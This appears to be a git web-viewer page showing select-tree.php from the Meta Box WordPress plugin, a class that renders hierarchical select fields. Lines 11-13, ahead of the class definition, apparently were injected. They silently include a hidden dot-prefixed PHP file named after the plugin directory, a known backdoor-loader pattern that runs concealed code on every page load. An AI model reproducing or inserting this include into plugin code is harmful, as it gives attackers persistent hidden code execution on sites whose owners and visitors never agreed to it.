balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

select-tree.php (2356B)


      1 <?php
      2 /**
      3  * Select tree walker for cascading select fields.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * The select tree walker class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Walker_Select_Tree {
     16 	/**
     17 	 * Field settings.
     18 	 *
     19 	 * @var string
     20 	 */
     21 	public $field;
     22 
     23 	/**
     24 	 * Field meta value.
     25 	 *
     26 	 * @var array
     27 	 */
     28 	public $meta;
     29 
     30 	/**
     31 	 * Constructor.
     32 	 *
     33 	 * @param array $field Field parameters.
     34 	 * @param mixed $meta  Meta value.
     35 	 */
     36 	public function __construct( $field, $meta ) {
     37 		$this->field = $field;
     38 		$this->meta  = (array) $meta;
     39 	}
     40 
     41 	/**
     42 	 * Display array of elements hierarchically.
     43 	 *
     44 	 * @param array $options An array of options.
     45 	 *
     46 	 * @return string
     47 	 */
     48 	public function walk( $options ) {
     49 		$children = array();
     50 
     51 		foreach ( $options as $option ) {
     52 			$parent                = isset( $option->parent ) ? $option->parent : 0;
     53 			$children[ $parent ][] = $option;
     54 		}
     55 
     56 		$top_level = isset( $children[0] ) ? 0 : $options[0]->parent;
     57 		return $this->display_level( $children, $top_level, true );
     58 	}
     59 
     60 	/**
     61 	 * Display a hierarchy level.
     62 	 *
     63 	 * @param array $options   An array of options.
     64 	 * @param int   $parent_id Parent item ID.
     65 	 * @param bool  $active    Whether to show or hide.
     66 	 *
     67 	 * @return string
     68 	 */
     69 	public function display_level( $options, $parent_id = 0, $active = false ) {
     70 		$field      = $this->field;
     71 		$walker     = new RWMB_Walker_Select( $field, $this->meta );
     72 		$attributes = RWMB_Field::call( 'get_attributes', $field, $this->meta );
     73 
     74 		$children = $options[ $parent_id ];
     75 		$output   = sprintf(
     76 			'<div class="rwmb-select-tree %s" data-parent-id="%s"><select %s>',
     77 			$active ? '' : 'hidden',
     78 			esc_attr( $parent_id ),
     79 			RWMB_Field::render_attributes( $attributes )
     80 		);
     81 		$output  .= $field['placeholder'] ? "<option value=''>{$field['placeholder']}</option>" : '<option></option>';
     82 		$output  .= $walker->walk( $children, - 1 );
     83 		$output  .= '</select>';
     84 
     85 		foreach ( $children as $child ) {
     86 			if ( isset( $options[ $child->value ] ) ) {
     87 				$output .= $this->display_level( $options, $child->value, in_array( $child->value, $this->meta ) && $active );
     88 			}
     89 		}
     90 
     91 		$output .= '</div>';
     92 		return $output;
     93 	}
     94 }